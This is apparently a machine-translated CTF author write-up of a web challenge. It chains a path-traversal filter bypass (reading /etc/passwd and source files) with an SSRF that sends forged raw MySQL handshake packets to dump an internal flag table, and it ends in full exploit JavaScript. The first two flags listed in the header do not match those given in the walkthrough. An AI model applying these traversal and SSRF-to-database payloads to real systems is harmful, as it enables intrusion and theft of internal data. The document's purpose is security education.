金融保安院 FIESTA 2021 - 出題者 Writeup
FSI cha tin gse rvi ce! Webハッキング問題 出題者解説 - SSRFによるMySQL任意クエリ実行
この記事はAIによって韓国語から機械翻訳されています。原文と表現が異なる場合があります。
原文(韓国語)を読むもしローカル環境で問題を解いてみたい方は、以下のGitHubリンクから問題のオリジナルファイルを取得できます。
https://github.com/JaewookYou/fiesta2021_webchall_FSI-cha-tin-gse-rvi-ce
fiesta2021_webchall
問題名 : FSI cha tin gse rvi ce!
- 出題者 : セキュリティ評価2チーム 主任 ユ・ジェウク
- 出題分野 : Webハッキング
- 配点 : 600点
- Flag1(100点) :
fiesta{ok_y0u_g0t_the_ext_server's_code!_lets_dig_the_2nd_flag!} - Flag2(100点) :
fiesta{congrat_y0u_g0t_all_of_th3_ext&int_server's_code!} - Flag3(400点) :
fiesta{mysql_int3rner_1s_s0_fun_isnt_1t?} - Description
- `A社は最近、チャットサービスを開発・提供するソリューション企業B社からチャットサービスを購入し、A社のサーバーと統合したが... A社の内部セキュリティ脆弱性分析チームの職員であるあなたに、この統合されたチャットサービスが安全かどうか調査する任務が与えられた。 チャットサービスの内部網データベース流出の可能性があるか、内部データベースに存在するFlagを獲得して証明してみよう。
- 本問題のFlagは計3つです。最終Flagは内部データベースのflagテーブルに存在します。
- サーバーは30分ごとに初期化されます。
- 本問題はChromeブラウザに最適化されています。`
問題の稼働方法
- 開始 :
nohup ./run.sh& - 停止 :
./stop.sh - ログ :
nohup ./logs.sh&実行後tail -f ./logs.txt - run.sh 実行時、30分ごとに一度サーバーが全体初期化され、再実行されます。
問題のコンセプト
- 全体的な問題サービスの大きな枠組みは チャットサービス
- 複数の金融機関の脆弱性分析評価中に遭遇したチャット相談サービスの環境と似たような文脈で構成
- 通常、外部のチャット相談サービスを持ってきて Integration(統合)して実装するのが一般的
- そのため、別途チャット相談サービスサーバーを置き、Webサーバーはクライアントとチャット相談サービスの間を中継する役割を遂行
- このような環境において、中継サービスに SSRF(Server Side Request Forgery) 脆弱性が存在する場合に発生する脅威が、核心となる問題解決ポイント
- 不適切な例外処理やフィルタリング、ユーザーから受け取った入力値での重要ロジック処理などにより脆弱性が発生し、これらをすべて組み合わせて問題を解決する必要がある
問題環境
- サーバー言語は python flask
- flask_socketio(外部網Webサーバー) / socketserver(内部網チャットAPIサーバー) / mysql(内部網チャットデータベースサーバー)
- ClientとWebサーバーは socketio を通じて通信し、クライアントから受け取ったデータをパースして内部網チャットAPIサーバーへ転送
- 内部網チャットAPIサーバーはWebサーバーから受け取ったデータを基にチャットDatabaseに問い合わせ、その結果を再びWebサーバーへ返却
- Webサーバーは返却されたチャット関連データをクライアントへ伝達
出題者 Write-Up
- まず問題で提供された Dockerfile を見ると、外部網、内部網、そしてデータベースという3つのサーバーで構成されていることがわかる。
- データベースの場合、5.7バージョンを使用していることが確認できる。
- これらの事項を念頭に置いて問題を解き進める必要がある。
外部網ソースコード流出、1つ目のフラグ
-
まず画像を送信する機能を見てみると、
-
client側で
data:image/png形式に変形し、base64でエンコードした状態で送信している。 -
また filename パラメータが存在するが、そのパラメータ、つまりファイル名がメッセージ内容に書き込まれることが、レスポンスされるチャットデータを通じてわかる。
-
filename に
'のような一部の文字を入れると、replace処理されファイル名から消えることが確認できる。 -
また
../のように相対パスで移動できる文字列のうち..をreplace処理していることがわかる。 -
上記の2つを混ぜると、
.'./のように構成してみれば、相対パスへ移動できる../が完成する。 -
これを利用し、filename パラメータに
.'./.'./.'./.'./.'./.'./.'./.'./.'./.'./.'./etc/passwdのようにファイル名を与えて加入(登録)すると、ファイル名は../../../../../../../../etc/passwdのように変化することになる。 -
upload error と表示されるが、実際の upload result を見てみると、
HTTP/1.0 200 OK
Content-Type: text/plain; charset=UTF-8
Access-Control-Allow-Credentials: true
Connection: close
Server: Werkzeug/2.0.1 Python/3.8.10
Date: Thu, 12 Aug 2021 10:40:43 GMT
42["uploadImageResult","[x] upload \"/app/ext_app/uploads/test/../../../../../../../../../../../etc/passwd\" error"]-
上記のように webroot 配下にある絶対パスが露出する。
-
そしてリロードして chat message を読み込むと、フィルタリングを迂回して入力したパスのファイル(今は /etc/passwd)を読み込み、img tag に入れているのが見える。
-
ここで
/app/ext_app/が web server の稼働中の path だと仮定し、/app/ext_app/app.pyを filename パラメータに入力すると、外部網ソースコードを獲得できる。 -
1つ目の flag 獲得 fiesta{th1s_1s_the_st4rt_0f_th3_ch4ll3ng3}
内部網ソースコード流出、2つ目のフラグ
-
まず会員登録時にプロフィール画像をアップロードするルーチンから見てみると、file contentを内部網へsocket通信を通じて転送するため、内部網サーバーにファイルが保存される。
-
16kb 未満のプロフィール画像をアップロードすると、チャットする際にプロフィール画像を
/getProfileImage?id={id}形式で取得する。 -
/getProfileImageの response値を見てみると、content(data:image/png 形式に変形された画像)とfilename(アップロードしたファイル名)がサーバーから伝達される。 -
register(登録)時に filename に
'のような一部の文字を入れると、replace処理されファイル名から消えることが確認できる。 -
外部網ソースコードを得た時と同様に
.'./を入力すると../になる。 -
これを利用して register 時に
.'./.'./.'./.'./.'./.'./.'./.'./.'./.'./.'./etc/passwdのようにファイル名を与えて加入すると、/etc/passwd が漏洩するだろう。 -
外部網ソースコードを得た時と同様に、response message に絶対パスが露出している。
-
そして、このようにエラーが出ても、会員登録を試みた id と pw でログインしてみると、正常にログインできることが確認できる。(不適切な例外処理)
-
上記のようにログイン後、
/getProfileImage?id={userid}を通じて、../../../../etc/passwd を入れて加入した id の profile image に、/etc/passwd のファイル内容が含まれていることが確認できる。 -
外部網と同様に露出した絶対パスを元に
/app/int_app/app.pyを漏洩させれば、内部網ソースコードと2つ目のフラグを獲得できる。
2つ目の flag 獲得 fiesta{cheerup!_y0u_c0uld_s0lve_the_l4st_p4rt!}
ssrfを通じてmysql任意クエリ実行、最後のフラグ
- これで流出したソースコードを通じてホワイトボックス分析ができる。
- 外部網と内部網は互いにsocketを持って通信する。この時使用するsocketは、セッションを維持するために外部網flaskの
usersというdictに各sessionのuuidをkeyとしてメモリ内で管理する。
# ext_app/app.py
def sessionCheck(loginCheck=False):
...
if flask.session["uuid"] not in users:
flask.session["host"] = ("172.22.0.4",9091)
print(f"[+] new socket conn {flask.session['uuid']}")
users[flask.session["uuid"]] = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
users[flask.session["uuid"]].connect(flask.session["host"])- このようなセッションは、各ページへのアクセス時
sessionCheck関数を通じて現在のセッションを持っているかをチェックし、セッションを持っていない場合はsession['host']に172.22.0.4:9091(内部網)を保存し、これを通じてsocketを接続する。
# ext_app/app.py
@socket_io.on("join")
def join(content):
channel = content['channel']
userid = content['userid']
if flask.session["userid"] == userid and flask.session["uuid"] == channel:
if 'chatserver' in content:
if flask.session["uuid"] in users:
users[flask.session["uuid"]].close()
chatserver = content['chatserver']
t = chatserver.split(':')
flask.session["host"] = (t[0], int(t[1]))
users[flask.session["uuid"]] = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
users[flask.session["uuid"]].connect(flask.session["host"])
flask.session["channel"] = channel
flask_socketio.join_room(channel)
sioemit("join",{"result":"success"}, channel)
else:
sioemit("join",{"result":"fail"}, channel)- しかし socket.io が "join" で emit する際、clientからリクエストするパラメータの中に
chatserverというパラメータがある場合、該当パラメータを通じてsession["host"]を再設定し、これを基に再度 socket connection を結ぶ。
/* exploit.js */
var sock = io.connect(`ws://52.78.132.206:9090/`);
sock.on('connect', function(){
var data = {'channel':uuid, 'userid':userid, 'chatserver': '172.22.0.5:3306'};
sock.emit("join",data);
});- したがって、上記のように
joinnamespace に emit する際、リクエストされるパラメータの中のchatserverパラメータを通じて、任意のホストとポートに raw packet を送信できる SSRF 脆弱性が発生することになる。
# int_app/app.py
class mysqlapi:
def __init__(self):
self.conn = pymysql.connect(
user = 'chatdb_admin',
passwd = 'th1s_1s_ch4tdb_4dm1n_p4ssw0rd',
host = '172.22.0.5',
db = 'chatdb',
charset = 'utf8'
)- 内部網 app.py には db connection を結ぶ情報が出ている。したがって、mysql client が mysql server と結ぶ connection 過程をそのまま結んだ後、query を送信すれば、送信された query の結果を返してくれるだろう。
# ext_app/app.py
@socket_io.on("chatsend")
def chatsend(content):
if not sessionCheck(loginCheck=True):
resp = "[x] please login"
sioemit("newchat", resp, flask.session["channel"])
return
if "sendtome" in content:
sendtome_flag = True
else:
sendtome_flag = False
try:
if type(content) != dict:
content = content.encode('latin-1')
content = json.loads(content)
if content["from"] != flask.session["userid"]:
print(f"[x] {content['from']} != {flask.session['userid']}")
return "[x] request from user is different from session"
if content["msg"] == "":
return "[x] blank content. please input content"
except Exception as e:
pass
resp = socksend(users[flask.session["uuid"]], content)
if sendtome_flag:
sioemit("newchat", resp, users[flask.session["userid"]])
else:
sioemit("newchat", resp, users[resp["to"]])
sioemit("newchat", resp, users[resp["from"]])-
SSRFをトリガーして raw packet を送信するには、不適切に処理された例外処理構文を利用する必要がある。
-
本来 client からの正常なリクエストであれば、json 形式で正しく送信されるはずだ。json形式に合わない content が送信された場合、
content = json.loads(content)で exception が発生し、exception 処理構文へ行くことになる。 -
ところが、ここの except 処理構文では何の動作もせず pass だけして通り過ぎる。したがって、エラーが発生した前の行である
content = content.encode('latin-1')が実行されたまま content 変数にユーザーの input がそのまま残るようになり、これはそのままresp = socksend(users[flask.session["uuid"]], content)構文の引数として渡され、送信されることになる。 -
したがって、任意の望む raw packet を socket を通じて送信できるのである。
-
しかし、送信後に受け取る応答をクライアントへうまく伝達しなければならないが、自分へ送る場合
usersdict の key としてflask.session["userid"]を使用するのに対し、自分へ送らない場合は送信者と受信者の両方の socket io channel に送信するため、socket 送信の結果を持ってきて、そこから送信者と受信者をパースすることになる。 -
我々が mysql に直接 raw packet を送って受け取る応答値には、当然ながら送信者と受信者の情報は存在しないため、
sendtome_flagが有効化されて初めて raw packet 送信に対する応答値をクライアントで受信できる。 -
sendtome_flagは content にsendtomeがあるか検査するif "sendtome" in content:という条件文でセットされるが、content が json だったなら content dictionary に sendtome という key が存在するか検査する条件文になっていただろうが、raw packet として送る時は string型の content に sendtome という単語が存在するか検査する条件文になるため、packet の中に sendtome が入りさえすれば、自分へ送る分岐を有効化させることができる。 -
さて、mysql conneciton 過程を raw packet で再現しなければならないが、
-
我々がよく知る
Gopherousで payload を作る場合は、mysql connection 時に password がない時である。password が存在する場合、mysql-server で authentication 方式を何に設定しているかを見る必要があるが、mysql 5バージョンの場合mysql_native_passwordを使用する。(8.0 以上の場合caching_sha2_passwordを使用する) -
与えられた Dockerfile で mysql バージョンが 5.7 であることを確認したため、SSRF を通じて mysql connection を再現するには、mysql_native_password の構成原理と connection 過程を理解しなければならない。
-
mysql internals - connection phase packets を見ると connection 過程が出ているが、単に wireshark で環境設定後、直接 connection phase をキャプチャしてみると、以下のように進行することを確認できる。
- server greeting (connection 時、サーバーが送信)
- send login request -> receive server seed
- send mysql_native_password hash->receive auth ok
- (if password match) send mysql query -> receive query result
SHA1( password ) XOR SHA1( "20-bytes random data from server(seed)" + SHA1( SHA1( password ) ) )- 1番の段階でサーバーから seed を受け取り、これと db password を組み合わせて上記のようなハッシュを生成後、2番の段階でサーバーに送信し、その応答値を確認することになる。
- したがって、上記のような過程を経るように raw packet を構成すれば良いのだが、問題は
sendtome、つまり自分へ送る機能が有効化されてこそエラーなく raw packet send の response を受け取れるため、各段階のパケットごとに "sendtome" という文字列が入らなければならないということだ。
0. server greeting (connection 시 서버가 전송)
1. send login request -> receive server seed
2. send mysql_native_password hash->receive auth ok
3. (if password match) send mysql query -> receive query result- mysql で packet をやり取りするのは network において Application Layer に該当するが、mysql がパケットをやり取りする特性上、
続く複数のパケットを一度に送るように構成したり("AAAABBBBCCCC")、一つのパケットを二つに分割して送信("AA","AA")するなどの動作が可能だ。 - この点を利用し、上記段階で構成される mysql connection & query packet を sendtome という文字列が各パケットに入り込むように構成しなければならないが、途中で server seed を受け取り、それを通じて password hash を生成しなければならない過程が含まれているため、少なくとも2段階以上にパケットを分けて構成しつつ、 sendtome 文字列がパケット内に入るようにしなければならない。
- ただし現在 socket を通じてデータをやり取りする過程が send->recv->send->recv のように 1:1 でのみやり取りしているため、1番の段階で login request を送っても、最初の recv では connection 時にサーバーが送信する server greeting パケットが受信されることになる。
- したがって server seed を受け取るためには、send の後に recv が二回実行されなければならないが、これを実現するために上記で説明した
一つのパケットを二つに分割して送信("AA","AA")する方法を使用する。
function step1(){
// step 1
//b'\xcb\x00\x00\x01\x8d\xa2\xbf\t\x00\x00\x00\x01\xff\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00chatdb_admin\x00\x00chatdb\x00caching_sha2_password\x00t\x04_pid\x0516419\t_platform\x06x86_64\x03_os\x05Linux\x0c_client_name\x08libmysql\x07os_user\x05arang\x0f_client_version\x068.0.23\x0cprogram_name\x05sendtome'
p1 = convertFromHex("cb0000018da2bf0900000001ff00000000000000000000000000000000000000000000006368617464625f61646d696e00006368617464620063616368696e675f736861325f70617373776f72640074045f706964053136343139095f706c6174666f726d067838365f3634035f6f73054c696e75780c5f636c69656e745f6e616d65086c69626d7973716c076f735f75736572056172616e670f5f636c69656e745f76657273696f6e06382e302e32330c70726f6772616d5f6e616d650573656e64746f6d65")
setTimeout(function(){console.log("send 1 round");sock.emit("chatsend", p1);},500)
setTimeout(function(){console.log("send 2 round");sock.emit("chatsend", "sendtome");},1500)
}- 1つ目のパケット
b'\xcb\x00\x00\x01\x8d\xa2\xbf\t\x00\x00\x00\x01\xff\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00chatdb_admin\x00\x00chatdb\x00caching_sha2_password\x00t\x04_pid\x0516419\t_platform\x06x86_64\x03_os\x05Linux\x0c_client_name\x08libmysql\x07os_user\x05arang\x0f_client_version\x068.0.23\x0cprogram_name\x05sendtome'- 2つ目のパケット
b'sendtome'- mysql raw packet の先頭 3バイトは後に続くパケットの length だが、これを適切に変造して最後の sendtome 8byte だけ除いて送ることで
TCP segment of a reassembled PDUを誘導し、send -> recv -> (send, 元の1つ目のパケット) -> recv となるように作る。
async function step2(serverSeed){
//// mysql native password hashing process
// SHA1( password ) XOR SHA1( "20-bytes random data from server" <concat> SHA1( SHA1( password ) ) )
console.log("[+] seed "+btoa(serverSeed));
var sp = await sha1(password);
var ssp = await sha1(convertFromHex(sp))
var sssp = await sha1(serverSeed+convertFromHex(ssp))
console.log("[+] sssp "+btoa(sssp));
var hashedPassword = xor( convertFromHex(sp), convertFromHex(sssp) );
console.log("[+] hashed password "+btoa(hashedPassword))
var p1 = "\x14\x00\x00\x03"+hashedPassword
var query = "select * from flag#sendtome";
var p2 = `${String.fromCharCode(query.length+9)}\x00\x00\x00\x03${query}`
var packet = p1+p2;
setTimeout(function(){console.log("send 3 round");sock.emit("chatsend", packet);},500)
setTimeout(function(){console.log("send 4 round");sock.emit("chatsend", "sendtome");},1500)
}-
これで server seed を得られたので、内部網コードから判明した db パスワードと server seed を組み合わせてパスワードハッシュを作り出す。
-
今度は二つのパケットを一つに合わせて一度に送ることで("AAAABBBB")、パスワードハッシュを送るパケットと query request パケットを一つに合わせて送り、query request パケットのリクエスト長さを操作して sendtome(8byte) を送る長さに設定する。
-
query を
select * from flag#sendtomeのように末尾にコメント処理をして、後ろに sendtome が来ても正常なクエリになるようにセッティング後に送れば、サーバーとやり取りする過程で flag が飛んでくることになる。 -
説明が複雑すぎるため、図と文章で要約すると以下の通りだ。```
- [TCP reassemble A] login request 전송
- [TCP reassemble A] sendtome(8byte) 전송
- [B] password hash + [TCP reassemble C] query request(+#sendtome) 전송
- [TCP reassemble C] sendtome(8byte) 전송
최종 Exploit Code 및 마지막 Flag
마지막 플래그fiesta{mysql_int3rner_1s_s0_fun_isnt_1t?}
// author(arang)'s writeup
function ab2str(buf) {
return new TextDecoder().decode(buf)
}
function Latin1ToUint8Array(iso_8859_1){
var uInt8Arr = new Uint8Array(iso_8859_1.length);
for(var i=0; i<iso_8859_1.length; i++){
uInt8Arr[i] = iso_8859_1.charCodeAt(i);
}
return uInt8Arr;
}
function xor(key, phrase){
var r = "";
for(var i=0; i<phrase.length; i++){
r += String.fromCharCode( key.charCodeAt(i%key.length) ^ phrase.charCodeAt(i) );
}
return r;
}
function convertFromHex(hex) {
var hex = hex.toString();
var str = '';
for (var i = 0; i < hex.length; i += 2)
str += String.fromCharCode(parseInt(hex.substr(i, 2), 16));
return str;
}
function addScript(cdnurl){
var cjs_script = document.createElement("script");
cjs_script.setAttribute('src',cdnurl);
document.body.insertBefore(cjs_script,document.body.firstChild);
}
async function sha1(message) {
const msgUint8 = Latin1ToUint8Array(message);
const hashBuffer = await Crypto.SHA1(msgUint8, {asBytes: true});
const hashArray = Array.from(new Uint8Array(hashBuffer));
const hashHex = hashArray.map(b => b.toString(16).padStart(2, '0')).join('');
return hashHex;
}
function step1(){
// step 1
//b'\xcb\x00\x00\x01\x8d\xa2\xbf\t\x00\x00\x00\x01\xff\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00chatdb_admin\x00\x00chatdb\x00caching_sha2_password\x00t\x04_pid\x0516419\t_platform\x06x86_64\x03_os\x05Linux\x0c_client_name\x08libmysql\x07os_user\x05arang\x0f_client_version\x068.0.23\x0cprogram_name\x05sendtome'
p1 = convertFromHex("cb0000018da2bf0900000001ff00000000000000000000000000000000000000000000006368617464625f61646d696e00006368617464620063616368696e675f736861325f70617373776f72640074045f706964053136343139095f706c6174666f726d067838365f3634035f6f73054c696e75780c5f636c69656e745f6e616d65086c69626d7973716c076f735f75736572056172616e670f5f636c69656e745f76657273696f6e06382e302e32330c70726f6772616d5f6e616d650573656e64746f6d65")
setTimeout(function(){console.log("send 1 round");sock.emit("chatsend", p1);},500)
setTimeout(function(){console.log("send 2 round");sock.emit("chatsend", "sendtome");},1500)
}
async function step2(serverSeed){
//// mysql native password hashing process
// SHA1( password ) XOR SHA1( "20-bytes random data from server" <concat> SHA1( SHA1( password ) ) )
console.log("[+] seed "+btoa(serverSeed));
var sp = await sha1(password);
var ssp = await sha1(convertFromHex(sp))
var sssp = await sha1(serverSeed+convertFromHex(ssp))
console.log("[+] sssp "+btoa(sssp));
var hashedPassword = xor( convertFromHex(sp), convertFromHex(sssp) );
console.log("[+] hashed password "+btoa(hashedPassword))
var p1 = "\x14\x00\x00\x03"+hashedPassword
var query = "select * from flag#sendtome";
var p2 = `${String.fromCharCode(query.length+9)}\x00\x00\x00\x03${query}`
var packet = p1+p2;
setTimeout(function(){console.log("send 3 round");sock.emit("chatsend", packet);},500)
setTimeout(function(){console.log("send 4 round");sock.emit("chatsend", "sendtome");},1500)
}
var round = 0;
var sock = io.connect(`ws://52.78.132.206:9090/`);
sock.on('connect', function(){
var data = {'channel':uuid, 'userid':userid, 'chatserver': '172.22.0.5:3306'};
sock.emit("join",data);
});
sock.on('join', function(data){
console.log(data)
if(data["result"] == "fail"){
alert("join room fail")
}
})
// when get a new chat message
sock.on('newchat', function(data){
var result = data;
console.log("[+] newchat "+result);
round += 1
if (round == 2){
console.log("[+] yeah! I got the server seed")
var serverSeed = result.split("native_password\x00")[1].slice(0,-1);
step2(serverSeed);
}
})
var password = "th1s_1s_ch4tdb_4dm1n_p4ssw0rd";
addScript("https://arang.kr/sha1.js");
step1();
コメント